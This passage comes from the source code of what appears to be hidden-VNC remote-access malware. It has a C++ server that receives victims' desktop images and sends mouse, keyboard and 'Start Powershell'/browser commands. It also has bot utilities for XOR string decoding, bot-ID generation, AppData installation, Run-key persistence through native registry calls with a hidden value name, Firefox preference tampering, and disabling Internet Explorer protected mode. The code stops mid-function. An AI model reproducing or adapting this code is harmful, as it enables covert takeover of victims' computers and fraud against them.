| if(g_clients[i].hWnd == (HWND) data) 59 | return &g_clients[i]; 60 | } 61 | } 62 | return NULL; 63 | } 64 | 65 | int SendInt(SOCKET s, int i) 66 | { 67 | return send(s, (char *) &i, sizeof(i), 0); 68 | } 69 | 70 | static BOOL SendInput(SOCKET s, UINT msg, WPARAM wParam, LPARAM lParam) 71 | { 72 | if(SendInt(s, msg) <= 0) 73 | return FALSE; 74 | if(SendInt(s, wParam) <= 0) 75 | return FALSE; 76 | if(SendInt(s, lParam) <= 0) 77 | return FALSE; 78 | return TRUE; 79 | } 80 | 81 | static void ToggleFullscreen(HWND hWnd, Client *client) 82 | { 83 | if(!client->fullScreen) 84 | { 85 | RECT rect; 86 | GetWindowRect(hWnd, &rect); 87 | client->windowedRect = rect; 88 | GetWindowRect(GetDesktopWindow(), &rect); 89 | SetWindowLong(hWnd, GWL_STYLE, WS_POPUP | WS_VISIBLE); 90 | SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, rect.right, rect.bottom, SWP_SHOWWINDOW); 91 | } 92 | else 93 | { 94 | SetWindowLong(hWnd, GWL_STYLE, WS_OVERLAPPEDWINDOW | WS_VISIBLE); 95 | SetWindowPos(hWnd, 96 | HWND_NOTOPMOST, 97 | client->windowedRect.left, 98 | client->windowedRect.top, 99 | client->windowedRect.left - client->windowedRect.right, 100 | client->windowedRect.bottom - client->windowedRect.top, 101 | SWP_SHOWWINDOW); 102 | } 103 | client->fullScreen = !client->fullScreen; 104 | } 105 | 106 | static LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) 107 | { 108 | Client *client = GetClient(hWnd, FALSE); 109 | 110 | switch(msg) 111 | { 112 | case WM_CREATE: 113 | { 114 | HMENU hSysMenu = GetSystemMenu(hWnd, false); 115 | AppendMenu(hSysMenu, MF_SEPARATOR, 0, NULL); 116 | 117 | AppendMenu(hSysMenu, MF_STRING, SysMenuIds::fullScreen, TEXT("&Fullscreen")); 118 | AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startExplorer, TEXT("Start Explorer")); 119 | AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startRun, TEXT("&Run...")); 120 | AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startPowershell, TEXT("Start Powershell")); 121 | AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startChrome, TEXT("Start Chrome")); 122 | AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startBrave, TEXT("Start Brave")); 123 | AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startEdge, TEXT("Start Edge")); 124 | AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startFirefox, TEXT("Start Firefox")); 125 | AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startIexplore, TEXT("Start Internet Explorer")); 126 | break; 127 | } 128 | case WM_SYSCOMMAND: 129 | { 130 | if(wParam == SC_RESTORE) 131 | SetEvent(client->minEvent); 132 | /* 133 | else if(wParam == SysMenuIds::fullScreen || (wParam == SC_KEYMENU && toupper(lParam) == 'F')) 134 | { 135 | ToggleFullscreen(hWnd, client); 136 | break; 137 | } 138 | */ 139 | else if(wParam == SysMenuIds::startExplorer) 140 | { 141 | EnterCriticalSection(&g_critSec); 142 | if(!SendInput(client->connections[Connection::input], SysMenuIds::startExplorer, NULL, NULL)) 143 | PostQuitMessage(0); 144 | LeaveCriticalSection(&g_critSec); 145 | break; 146 | } 147 | else if(wParam == SysMenuIds::startRun) 148 | { 149 | EnterCriticalSection(&g_critSec); 150 | if(!SendInput(client->connections[Connection::input], SysMenuIds::startRun, NULL, NULL)) 151 | PostQuitMessage(0); 152 | LeaveCriticalSection(&g_critSec); 153 | break; 154 | } 155 | else if (wParam == SysMenuIds::startPowershell) 156 | { 157 | EnterCriticalSection(&g_critSec); 158 | if (!SendInput(client->connections[Connection::input], SysMenuIds::startPowershell, NULL, NULL)) 159 | PostQuitMessage(0); 160 | LeaveCriticalSection(&g_critSec); 161 | break; 162 | } 163 | else if(wParam == SysMenuIds::startChrome) 164 | { 165 | EnterCriticalSection(&g_critSec); 166 | if(!SendInput(client->connections[Connection::input], SysMenuIds::startChrome, NULL, NULL)) 167 | PostQuitMessage(0); 168 | LeaveCriticalSection(&g_critSec); 169 | break; 170 | } 171 | else if (wParam == SysMenuIds::startBrave) 172 | { 173 | EnterCriticalSection(&g_critSec); 174 | if (!SendInput(client->connections[Connection::input], SysMenuIds::startBrave, NULL, NULL)) 175 | PostQuitMessage(0); 176 | LeaveCriticalSection(&g_critSec); 177 | break; 178 | } 179 | else if (wParam == SysMenuIds::startEdge) 180 | { 181 | EnterCriticalSection(&g_critSec); 182 | if (!SendInput(client->connections[Connection::input], SysMenuIds::startEdge, NULL, NULL)) 183 | PostQuitMessage(0); 184 | LeaveCriticalSection(&g_critSec); 185 | break; 186 | } 187 | else if(wParam == SysMenuIds::startFirefox) 188 | { 189 | EnterCriticalSection(&g_critSec); 190 | if(!SendInput(client->connections[Connection::input], SysMenuIds::startFirefox, NULL, NULL)) 191 | PostQuitMessage(0); 192 | LeaveCriticalSection(&g_critSec); 193 | break; 194 | } 195 | else if(wParam == SysMenuIds::startIexplore) 196 | { 197 | EnterCriticalSection(&g_critSec); 198 | if(!SendInput(client->connections[Connection::input], SysMenuIds::startIexplore, NULL, NULL)) 199 | PostQuitMessage(0); 200 | LeaveCriticalSection(&g_critSec); 201 | break; 202 | } 203 | return DefWindowProc(hWnd, msg, wParam, lParam); 204 | } 205 | case WM_PAINT: 206 | { 207 | PAINTSTRUCT ps; 208 | HDC hDc = BeginPaint(hWnd, &ps); 209 | 210 | RECT clientRect; 211 | GetClientRect(hWnd, &clientRect); 212 | 213 | RECT rect; 214 | HBRUSH hBrush = CreateSolidBrush(RGB(0, 0, 0)); 215 | rect.left = 0; 216 | rect.top = 0; 217 | rect.right = clientRect.right; 218 | rect.bottom = clientRect.bottom; 219 | 220 | rect.left = client->pixelsWidth; 221 | FillRect(hDc, &rect, hBrush); 222 | rect.left = 0; 223 | rect.top = client->pixelsHeight; 224 | FillRect(hDc, &rect, hBrush); 225 | DeleteObject(hBrush); 226 | 227 | BitBlt(hDc, 0, 0, client->pixelsWidth, client->pixelsHeight, client->hDcBmp, 0, 0, SRCCOPY); 228 | EndPaint(hWnd, &ps); 229 | break; 230 | } 231 | case WM_DESTROY: 232 | { 233 | PostQuitMessage(0); 234 | break; 235 | } 236 | case WM_ERASEBKGND: 237 | return TRUE; 238 | case WM_LBUTTONDOWN: 239 | case WM_LBUTTONUP: 240 | case WM_RBUTTONDOWN: 241 | case WM_RBUTTONUP: 242 | case WM_MBUTTONDOWN: 243 | case WM_MBUTTONUP: 244 | case WM_LBUTTONDBLCLK: 245 | case WM_RBUTTONDBLCLK: 246 | case WM_MBUTTONDBLCLK: 247 | case WM_MOUSEMOVE: 248 | case WM_MOUSEWHEEL: 249 | { 250 | if(msg == WM_MOUSEMOVE && GetKeyState(VK_LBUTTON) >= 0) 251 | break; 252 | 253 | int x = GET_X_LPARAM(lParam); 254 | int y = GET_Y_LPARAM(lParam); 255 | 256 | float ratioX = (float) client->screenWidth / client->pixelsWidth; 257 | float ratioY = (float) client->screenHeight / client->pixelsHeight; 258 | 259 | x = (int) (x * ratioX); 260 | y = (int) (y * ratioY); 261 | lParam = MAKELPARAM(x, y); 262 | EnterCriticalSection(&g_critSec); 263 | if(!SendInput(client->connections[Connection::input], msg, wParam, lParam)) 264 | PostQuitMessage(0); 265 | LeaveCriticalSection(&g_critSec); 266 | break; 267 | } 268 | case WM_CHAR: 269 | { 270 | if(iscntrl(wParam)) 271 | break; 272 | EnterCriticalSection(&g_critSec); 273 | if(!SendInput(client->connections[Connection::input], msg, wParam, 0)) 274 | PostQuitMessage(0); 275 | LeaveCriticalSection(&g_critSec); 276 | break; 277 | } 278 | case WM_KEYDOWN: 279 | case WM_KEYUP: 280 | { 281 | switch(wParam) 282 | { 283 | case VK_UP: 284 | case VK_DOWN: 285 | case VK_RIGHT: 286 | case VK_LEFT: 287 | case VK_HOME: 288 | case VK_END: 289 | case VK_PRIOR: 290 | case VK_NEXT: 291 | case VK_INSERT: 292 | case VK_RETURN: 293 | case VK_DELETE: 294 | case VK_BACK: 295 | break; 296 | default: 297 | return 0; 298 | } 299 | EnterCriticalSection(&g_critSec); 300 | if(!SendInput(client->connections[Connection::input], msg, wParam, 0)) 301 | PostQuitMessage(0); 302 | LeaveCriticalSection(&g_critSec); 303 | break; 304 | } 305 | case WM_GETMINMAXINFO: 306 | { 307 | MINMAXINFO* mmi = (MINMAXINFO *) lParam; 308 | mmi->ptMinTrackSize.x = gc_minWindowWidth; 309 | mmi->ptMinTrackSize.y = gc_minWindowHeight; 310 | if (client) 311 | { 312 | mmi->ptMaxTrackSize.x = client->screenWidth; 313 | mmi->ptMaxTrackSize.y = client->screenHeight; 314 | } 315 | break; 316 | } 317 | default: 318 | return DefWindowProc(hWnd, msg, wParam, lParam); 319 | } 320 | return 0; 321 | } 322 | 323 | static DWORD WINAPI ClientThread(PVOID param) 324 | { 325 | Client *client = NULL; 326 | SOCKET s = (SOCKET) param; 327 | BYTE buf[sizeof(gc_magik)]; 328 | Connection connection; 329 | DWORD uhid; 330 | 331 | if(recv(s, (char *) buf, sizeof(gc_magik), 0) <= 0) 332 | { 333 | closesocket(s); 334 | return 0; 335 | } 336 | if(memcmp(buf, gc_magik, sizeof(gc_magik))) 337 | { 338 | closesocket(s); 339 | return 0; 340 | } 341 | if(recv(s, (char *) &connection, sizeof(connection), 0) <= 0) 342 | { 343 | closesocket(s); 344 | return 0; 345 | } 346 | { 347 | SOCKADDR_IN addr; 348 | int addrSize; 349 | addrSize = sizeof(addr); 350 | getpeername(s, (SOCKADDR *) &addr, &addrSize); 351 | uhid = addr.sin_addr.S_un.S_addr; 352 | } 353 | if(connection == Connection::desktop) 354 | { 355 | client = GetClient((void *) uhid, TRUE); 356 | if(!client) 357 | { 358 | closesocket(s); 359 | return 0; 360 | } 361 | client->connections[Connection::desktop] = s; 362 | 363 | BITMAPINFO bmpInfo; 364 | bmpInfo.bmiHeader.biSize = sizeof(bmpInfo.bmiHeader); 365 | bmpInfo.bmiHeader.biPlanes = 1; 366 | bmpInfo.bmiHeader.biBitCount = 24; 367 | bmpInfo.bmiHeader.biCompression = BI_RGB; 368 | bmpInfo.bmiHeader.biClrUsed = 0; 369 | 370 | for(;;) 371 | { 372 | RECT rect; 373 | GetClientRect(client->hWnd, &rect); 374 | 375 | if(rect.right == 0) 376 | { 377 | BOOL x = ResetEvent(client->minEvent); 378 | WaitForSingleObject(client->minEvent, 5000); 379 | continue; 380 | } 381 | 382 | int realRight = (rect.right > client->screenWidth && client->screenWidth > 0) ? client->screenWidth : rect.right; 383 | int realBottom = (rect.bottom > client->screenHeight && client->screenHeight > 0) ? client->screenHeight : rect.bottom; 384 | 385 | if((realRight * 3) % 4) 386 | realRight += ((realRight * 3) % 4); 387 | 388 | if(SendInt(s, realRight) <= 0) 389 | goto exit; 390 | if(SendInt(s, realBottom) <= 0) 391 | goto exit; 392 | 393 | DWORD width; 394 | DWORD height; 395 | DWORD size; 396 | BOOL recvPixels; 397 | if(recv(s, (char *) &recvPixels, sizeof(recvPixels), 0) <= 0) 398 | goto exit; 399 | if(!recvPixels) 400 | { 401 | Sleep(gc_sleepNotRecvPixels); 402 | continue; 403 | } 404 | if(recv(s, (char *) &client->screenWidth, sizeof(client->screenWidth), 0) <= 0) 405 | goto exit; 406 | if(recv(s, (char *) &client->screenHeight, sizeof(client->screenHeight), 0) <= 0) 407 | goto exit; 408 | if(recv(s, (char *) &width, sizeof(width), 0) <= 0) 409 | goto exit; 410 | if(recv(s, (char *) &height, sizeof(height), 0) <= 0) 411 | goto exit; 412 | if(recv(s, (char *) &size, sizeof(size), 0) <= 0) 413 | goto exit; 414 | 415 | BYTE *compressedPixels = (BYTE *) malloc(size); 416 | int totalRead = 0; 417 | do 418 | { 419 | int read = recv(s, (char *) compressedPixels + totalRead, size - totalRead, 0); 420 | if(read <= 0) 421 | goto exit; 422 | totalRead += read; 423 | } while(totalRead != size); 424 | 425 | EnterCriticalSection(&g_critSec); 426 | { 427 | DWORD newPixelsSize = width * 3 * height; 428 | BYTE *newPixels = (BYTE *) malloc(newPixelsSize); 429 | pRtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1, newPixels, newPixelsSize, compressedPixels, size, &size); 430 | free(compressedPixels); 431 | 432 | if(client->pixels && client->pixelsWidth == width && client->pixelsHeight == height) 433 | { 434 | for(DWORD i = 0; i < newPixelsSize; i += 3) 435 | { 436 | if(newPixels[i] == GetRValue(gc_trans) && 437 | newPixels[i + 1] == GetGValue(gc_trans) && 438 | newPixels[i + 2] == GetBValue(gc_trans)) 439 | { 440 | continue; 441 | } 442 | client->pixels[i] = newPixels[i]; 443 | client->pixels[i + 1] = newPixels[i + 1]; 444 | client->pixels[i + 2] = newPixels[i + 2]; 445 | } 446 | free(newPixels); 447 | } 448 | else 449 | { 450 | free(client->pixels); 451 | client->pixels = newPixels; 452 | } 453 | 454 | HDC hDc = GetDC(NULL); 455 | HDC hDcBmp = CreateCompatibleDC(hDc); 456 | HBITMAP hBmp; 457 | 458 | hBmp = CreateCompatibleBitmap(hDc, width, height); 459 | SelectObject(hDcBmp, hBmp); 460 | 461 | bmpInfo.bmiHeader.biSizeImage = newPixelsSize; 462 | bmpInfo.bmiHeader.biWidth = width; 463 | bmpInfo.bmiHeader.biHeight = height; 464 | SetDIBits(hDcBmp, 465 | hBmp, 466 | 0, 467 | height, 468 | client->pixels, 469 | &bmpInfo, 470 | DIB_RGB_COLORS); 471 | 472 | DeleteDC(client->hDcBmp); 473 | client->pixelsWidth = width; 474 | client->pixelsHeight = height; 475 | client->hDcBmp = hDcBmp; 476 | 477 | InvalidateRgn(client->hWnd, NULL, TRUE); 478 | 479 | DeleteObject(hBmp); 480 | ReleaseDC(NULL, hDc); 481 | } 482 | LeaveCriticalSection(&g_critSec); 483 | 484 | if(SendInt(s, 0) <= 0) 485 | goto exit; 486 | } 487 | exit: 488 | PostMessage(client->hWnd, WM_DESTROY, NULL, NULL); 489 | return 0; 490 | } 491 | else if(connection == Connection::input) 492 | { 493 | char ip[16]; 494 | EnterCriticalSection(&g_critSec); 495 | { 496 | client = GetClient((void *) uhid, TRUE); 497 | if(client) 498 | { 499 | closesocket(s); 500 | LeaveCriticalSection(&g_critSec); 501 | return 0; 502 | } 503 | IN_ADDR addr; 504 | addr.S_un.S_addr = uhid; 505 | strcpy(ip, inet_ntoa(addr)); 506 | wprintf(TEXT("[+] New Connection: %S\n"), ip); 507 | 508 | BOOL found = FALSE; 509 | for(int i = 0; i < gc_maxClients; ++i) 510 | { 511 | if(!g_clients[i].hWnd) 512 | { 513 | found = TRUE; 514 | client = &g_clients[i]; 515 | } 516 | } 517 | if(!found) 518 | { 519 | wprintf(TEXT("[!] Client %S Disconnected: Maximum %d Clients Allowed\n"), ip, gc_maxClients); 520 | closesocket(s); 521 | return 0; 522 | } 523 | 524 | client->uhid = uhid; 525 | client->connections[Connection::input] = s; 526 | 527 | client->hWnd = CW_Create(uhid, gc_minWindowWidth, gc_minWindowHeight); 528 | client->minEvent = CreateEventA(NULL, TRUE, FALSE, NULL); 529 | } 530 | LeaveCriticalSection(&g_critSec); 531 | 532 | SendInt(s, 0); 533 | 534 | MSG msg; 535 | while(GetMessage(&msg, NULL, 0, 0) > 0) 536 | { 537 | PeekMessage(&msg, NULL, WM_USER, WM_USER, PM_NOREMOVE); 538 | TranslateMessage(&msg); 539 | DispatchMessage(&msg); 540 | } 541 | 542 | EnterCriticalSection(&g_critSec); 543 | { 544 | wprintf(TEXT("[!] Client %S Disconnected\n"), ip); 545 | free(client->pixels); 546 | DeleteDC(client->hDcBmp); 547 | closesocket(client->connections[Connection::input]); 548 | closesocket(client->connections[Connection::desktop]); 549 | CloseHandle(client->minEvent); 550 | memset(client, 0, sizeof(*client)); 551 | } 552 | LeaveCriticalSection(&g_critSec); 553 | } 554 | return 0; 555 | } 556 | 557 | BOOL StartServer(int port) 558 | { 559 | WSADATA wsa; 560 | SOCKET serverSocket; 561 | sockaddr_in addr; 562 | HMODULE ntdll = LoadLibrary(TEXT("ntdll.dll")); 563 | 564 | pRtlDecompressBuffer = (T_RtlDecompressBuffer) GetProcAddress(ntdll, "RtlDecompressBuffer"); 565 | InitializeCriticalSection(&g_critSec); 566 | memset(g_clients, 0, sizeof(g_clients)); 567 | CW_Register(WndProc); 568 | 569 | if(WSAStartup(MAKEWORD(2, 2), &wsa) != 0) 570 | return FALSE; 571 | if((serverSocket = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) 572 | return FALSE; 573 | 574 | addr.sin_family = AF_INET; 575 | addr.sin_addr.s_addr = INADDR_ANY; 576 | addr.sin_port = htons(port); 577 | 578 | if(bind(serverSocket, (sockaddr *) &addr, sizeof(addr)) == SOCKET_ERROR) 579 | return FALSE; 580 | if(listen(serverSocket, SOMAXCONN) == SOCKET_ERROR) 581 | return FALSE; 582 | 583 | int addrSize = sizeof(addr); 584 | getsockname(serverSocket, (sockaddr *) &addr, &addrSize); 585 | wprintf(TEXT("[+] Listening on Port: %d\n\n"), ntohs(addr.sin_port)); 586 | 587 | for(;;) 588 | { 589 | SOCKET s; 590 | sockaddr_in addr; 591 | s = accept(serverSocket, (sockaddr *) &addr, &addrSize); 592 | CreateThread(NULL, 0, ClientThread, (LPVOID) s, 0, 0); 593 | } 594 | } 595 | -------------------------------------------------------------------------------- /common/Utils.cpp: -------------------------------------------------------------------------------- 1 | #include "Utils.h" 2 | 3 | char *UnEnc(char *enc, char *key, DWORD encLen) 4 | { 5 | char *unEnc = (char *) LocalAlloc(LPTR, encLen + 1); 6 | unEnc[encLen] = 0; 7 | for(DWORD i = 0; i < encLen; ++i) 8 | unEnc[i] = enc[i] ^ key[i % lstrlenA(key)]; 9 | return unEnc; 10 | } 11 | 12 | ULONG PseudoRand(ULONG *seed) 13 | { 14 | return (*seed = 1352459 * (*seed) + 2529004207); 15 | } 16 | 17 | void GetBotId(char *botId) 18 | { 19 | CHAR windowsDirectory[MAX_PATH]; 20 | CHAR volumeName[8] = { 0 }; 21 | DWORD seed = 0; 22 | 23 | if(!Funcs::pGetWindowsDirectoryA(windowsDirectory, sizeof(windowsDirectory))) 24 | windowsDirectory[0] = L'C'; 25 | 26 | volumeName[0] = windowsDirectory[0]; 27 | volumeName[1] = ':'; 28 | volumeName[2] = '\\'; 29 | volumeName[3] = '\0'; 30 | 31 | Funcs::pGetVolumeInformationA(volumeName, NULL, 0, &seed, 0, NULL, NULL, 0); 32 | 33 | GUID guid; 34 | guid.Data1 = PseudoRand(&seed); 35 | 36 | guid.Data2 = (USHORT) PseudoRand(&seed); 37 | guid.Data3 = (USHORT) PseudoRand(&seed); 38 | for(int i = 0; i < 8; i++) 39 | guid.Data4[i] = (UCHAR) PseudoRand(&seed); 40 | 41 | Funcs::pWsprintfA(botId, "%08lX%04lX%lu", guid.Data1, guid.Data3, *(ULONG*) &guid.Data4[2]); 42 | } 43 | 44 | void Obfuscate(BYTE *buffer, DWORD bufferSize, char *key) 45 | { 46 | for(DWORD i = 0; i < bufferSize; ++i) 47 | buffer[i] = buffer[i] ^ key[i % Funcs::pLstrlenA(key)]; 48 | } 49 | 50 | char *Utf16toUtf8(wchar_t *utf16) 51 | { 52 | if(!utf16) 53 | return NULL; 54 | int strLen = Funcs::pWideCharToMultiByte(CP_UTF8, 0, utf16, -1, NULL, 0, NULL, NULL); 55 | if(!strLen) 56 | return NULL; 57 | char *ascii = (char *) Alloc(strLen + 1); 58 | if(!ascii) 59 | return NULL; 60 | Funcs::pWideCharToMultiByte(CP_UTF8, 0, utf16, -1, ascii, strLen, NULL, NULL); 61 | return ascii; 62 | } 63 | 64 | wchar_t *Utf8toUtf16(const char *utf8) 65 | { 66 | if(!utf8) 67 | return NULL; 68 | int strLen = Funcs::pMultiByteToWideChar(CP_UTF8, 0, utf8, -1, NULL, 0); 69 | if(!strLen) 70 | return NULL; 71 | wchar_t *converted = (wchar_t *) Alloc((strLen + 1) * sizeof(wchar_t)); 72 | if(!converted) 73 | return NULL; 74 | Funcs::pMultiByteToWideChar(CP_UTF8, 0, utf8, -1, converted, strLen); 75 | return converted; 76 | } 77 | 78 | void GetInstallPath(char *installPath) 79 | { 80 | char botId[BOT_ID_LEN] = { 0 }; 81 | GetBotId(botId); 82 | Funcs::pSHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, installPath); 83 | Funcs::pLstrcatA(installPath, Strs::fileDiv); 84 | Funcs::pLstrcatA(installPath, botId); 85 | 86 | Funcs::pCreateDirectoryA(installPath, NULL); 87 | 88 | Funcs::pLstrcatA(installPath, Strs::fileDiv); 89 | Funcs::pLstrcatA(installPath, botId); 90 | Funcs::pLstrcatA(installPath, Strs::exeExt); 91 | } 92 | 93 | BOOL GetUserSidStr(PCHAR *sidStr) 94 | { 95 | DWORD userNameSize = MAX_PATH; 96 | char userName[MAX_PATH] = { 0 }; 97 | Funcs::pGetUserNameExA(NameSamCompatible, userName, &userNameSize); 98 | 99 | SID *sid; 100 | SID_NAME_USE peUse; 101 | char *refDomainName; 102 | DWORD sidSize = 0; 103 | DWORD refDomainNameSize = 0; 104 | BOOL success = FALSE; 105 | 106 | Funcs::pLookupAccountNameA(NULL, userName, NULL, &sidSize, NULL, &refDomainNameSize, &peUse); 107 | if(Funcs::pGetLastError() == ERROR_INSUFFICIENT_BUFFER) 108 | { 109 | sid = (SID *) Alloc(sidSize); 110 | refDomainName = (char *) Alloc(refDomainNameSize * sizeof(wchar_t)); 111 | if(sid && refDomainName) 112 | { 113 | if(Funcs::pLookupAccountNameA(NULL, userName, sid, &sidSize, refDomainName, &refDomainNameSize, &peUse)) 114 | { 115 | if(Funcs::pConvertSidToStringSidA(sid, sidStr)) 116 | success = TRUE; 117 | } 118 | } 119 | } 120 | Funcs::pFree(refDomainName); 121 | Funcs::pFree(sid); 122 | return success; 123 | } 124 | 125 | HANDLE NtRegOpenKey(LPCTSTR subKey) 126 | { 127 | char key[MAX_PATH] = { 0 }; 128 | char *sid = NULL; 129 | HANDLE hKey = NULL; 130 | 131 | if(GetUserSidStr(&sid)) 132 | { 133 | Funcs::pWsprintfA(key, Strs::ntRegPath, sid, subKey); 134 | 135 | UNICODE_STRING uKey; 136 | uKey.Buffer = Utf8toUtf16(key); 137 | uKey.Length = (USHORT) Funcs::pLstrlenA(key) * sizeof(wchar_t); 138 | uKey.MaximumLength = uKey.Length; 139 | 140 | OBJECT_ATTRIBUTES objAttribs; 141 | 142 | objAttribs.Length = sizeof(objAttribs); 143 | objAttribs.Attributes = OBJ_CASE_INSENSITIVE; 144 | objAttribs.ObjectName = &uKey; 145 | objAttribs.RootDirectory = NULL; 146 | objAttribs.SecurityDescriptor = NULL; 147 | objAttribs.SecurityQualityOfService = 0; 148 | 149 | Funcs::pNtOpenKey(&hKey, KEY_ALL_ACCESS, &objAttribs); 150 | } 151 | Funcs::pLocalFree(sid); 152 | return hKey; 153 | } 154 | 155 | NTSTATUS NtRegSetValue(HANDLE hKey, BYTE *valueName, DWORD valueNameSize, DWORD type, BYTE *data, DWORD dataSize) 156 | { 157 | UNICODE_STRING uValueName; 158 | uValueName.Buffer = (wchar_t *) valueName; 159 | uValueName.Length = (USHORT) valueNameSize; 160 | uValueName.MaximumLength = uValueName.Length; 161 | return Funcs::pNtSetValueKey(hKey, &uValueName, NULL, type, data, dataSize); 162 | } 163 | 164 | void SetStartupValue(char *path) 165 | { 166 | HANDLE hKey = NtRegOpenKey(Strs::userRunKey); 167 | char botId[BOT_ID_LEN] = { 0 }; 168 | GetBotId(botId); 169 | 170 | DWORD botIdLen = Funcs::pLstrlenA(botId); 171 | DWORD botIdSizeW = botIdLen * sizeof(wchar_t); 172 | wchar_t *botIdW = Utf8toUtf16(botId); 173 | wchar_t regValueName[128] = { 0 }; 174 | regValueName[0] = 0; 175 | 176 | Funcs::pMemcpy(regValueName + 1, botIdW, botIdSizeW); 177 | regValueName[botIdLen + 1] = 0; 178 | Funcs::pFree(botIdW); 179 | 180 | wchar_t *pathW = Utf8toUtf16(path); 181 | DWORD pathWsize = Funcs::pLstrlenA(path) * sizeof(wchar_t); 182 | 183 | NtRegSetValue(hKey, (BYTE *) regValueName, botIdSizeW + sizeof(wchar_t), REG_SZ, (BYTE *) pathW, pathWsize); 184 | 185 | Funcs::pFree(pathW); 186 | Funcs::pCloseHandle(hKey); 187 | } 188 | 189 | BOOL VerifyPe(BYTE *pe, DWORD peSize) 190 | { 191 | if(peSize > 1024 && pe[0] == 'M' && pe[1] == 'Z') 192 | return TRUE; 193 | return FALSE; 194 | } 195 | 196 | BOOL IsProcessX64(HANDLE hProcess) 197 | { 198 | SYSTEM_INFO systemInfo; 199 | Funcs::pGetNativeSystemInfo(&systemInfo); 200 | if(systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL) 201 | return FALSE; 202 | 203 | BOOL wow64; 204 | Funcs::pIsWow64Process(hProcess, &wow64); 205 | if(wow64) 206 | return FALSE; 207 | 208 | return TRUE; 209 | } 210 | 211 | void *AllocZ(size_t size) 212 | { 213 | void *mem = Alloc(size); 214 | Funcs::pMemset(mem, 0, size); 215 | return mem; 216 | } 217 | 218 | void *Alloc(size_t size) 219 | { 220 | void *mem = Funcs::pMalloc(size); 221 | return mem; 222 | } 223 | 224 | void *ReAlloc(void *mem2realloc, size_t size) 225 | { 226 | void *mem = Funcs::pRealloc(mem2realloc, size); 227 | return mem; 228 | } 229 | 230 | #pragma function(memset) 231 | void * __cdecl memset(void *pTarget, int value, size_t cbTarget) 232 | { 233 | unsigned char *p = static_cast(pTarget); 234 | while(cbTarget-- > 0) 235 | { 236 | *p++ = static_cast(value); 237 | } 238 | return pTarget; 239 | } 240 | 241 | DWORD GetPidExplorer() 242 | { 243 | for(;;) 244 | { 245 | HWND hWnd = Funcs::pFindWindowA(Strs::shell_TrayWnd, NULL); 246 | if(hWnd) 247 | { 248 | DWORD pid; 249 | Funcs::pGetWindowThreadProcessId(hWnd, &pid); 250 | return pid; 251 | } 252 | Sleep(500); 253 | } 254 | } 255 | 256 | void SetFirefoxPrefs() 257 | { 258 | char appData[MAX_PATH]; 259 | if(Funcs::pExpandEnvironmentStringsA(Strs::exp1, appData, MAX_PATH) > 0) 260 | { 261 | char ffDir[MAX_PATH]; 262 | Funcs::pWsprintfA(ffDir, Strs::exp2, appData, Strs::exp3, Strs::exp4, Strs::exp5); 263 | if(ffDir) 264 | { 265 | char sections[1024] = { 0 }; 266 | if(Funcs::pGetPrivateProfileSectionNamesA(sections, sizeof(sections), ffDir) > 0) 267 | { 268 | char *entry = sections; 269 | for(;;) 270 | { 271 | if(Funcs::pStrncmp(entry, Strs::exp6, 7) == 0) 272 | { 273 | char randomDir[MAX_PATH]; 274 | if(Funcs::pGetPrivateProfileStringA(entry, Strs::exp7, 0, randomDir, MAX_PATH, ffDir) > 0) 275 | { 276 | int nPos = 0; 277 | for(; nPos < 64; ++nPos) 278 | { 279 | if(randomDir[nPos] == '/') 280 | { 281 | Funcs::pMemcpy(randomDir, randomDir + nPos + 1, (sizeof randomDir - nPos) + 1); 282 | break; 283 | } 284 | } 285 | Funcs::pMemset(ffDir, 0, MAX_PATH); 286 | 287 | Funcs::pWsprintfA(ffDir, Strs::exp8, appData, 288 | Strs::exp3, Strs::exp4, Strs::exp5, randomDir, Strs::exp9); 289 | 290 | if(ffDir) 291 | { 292 | HANDLE ffPrefs = Funcs::pCreateFileA 293 | ( 294 | ffDir, GENERIC_READ | GENERIC_WRITE, 0, 0, 295 | OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 296 | ); 297 | 298 | if(ffPrefs != INVALID_HANDLE_VALUE) 299 | { 300 | DWORD fileSize = Funcs::pGetFileSize(ffPrefs, NULL); 301 | char *fBuffer = (CHAR *) Alloc(fileSize + 1); 302 | DWORD bRead, bWritten; 303 | if(Funcs::pReadFile(ffPrefs, fBuffer, fileSize, &bRead, NULL) == TRUE) 304 | { 305 | fBuffer[bRead] = '\0'; 306 | 307 | char botId[BOT_ID_LEN] = { 0 }; 308 | GetBotId(botId); 309 | 310 | char botIdComment[BOT_ID_LEN + 10] = { 0 }; 311 | botIdComment[0] = '#'; 312 | Funcs::pLstrcatA(botIdComment, botId); 313 | Funcs::pLstrcatA(botIdComment, Strs::winNewLine); 314 | 315 | if(!Funcs::pStrStrA(fBuffer, botIdComment)) 316 | { 317 | Funcs::pWriteFile(ffPrefs, Strs::exp12, Funcs::pLstrlenA(Strs::exp12), &bWritten, NULL); 318 | Funcs::pWriteFile(ffPrefs, botIdComment, Funcs::pLstrlenA(botIdComment), &bWritten, NULL); 319 | } 320 | Funcs::pCloseHandle(ffPrefs); 321 | return; 322 | } 323 | Funcs::pFree(fBuffer); 324 | } 325 | Funcs::pCloseHandle(ffPrefs); 326 | return; 327 | } 328 | } 329 | } 330 | entry += Funcs::pLstrlenA(entry) + 1; 331 | if(!entry[0]) 332 | break; 333 | } 334 | } 335 | } 336 | } 337 | } 338 | 339 | void DisableMultiProcessesAndProtectedModeIe() 340 | { 341 | HKEY result; 342 | DWORD data = 0; 343 | if(Funcs::pRegOpenKeyExA(HKEY_CURRENT_USER, Strs::exp13, 0, KEY_ALL_ACCESS, &result) == ERROR_SUCCESS) 344 | { 345 | Funcs::pRegSetValueExA(result, Strs::exp14, 0, REG_DWORD, (BYTE *) &data, sizeof(DWORD)); 346 | data = 1; 347 | Funcs::pRegSetValueExA(result, Strs::exp19, 0, REG_DWORD, (BYTE *) &data, sizeof(DWORD)); 348 | Funcs::pRegCloseKey(result); 349 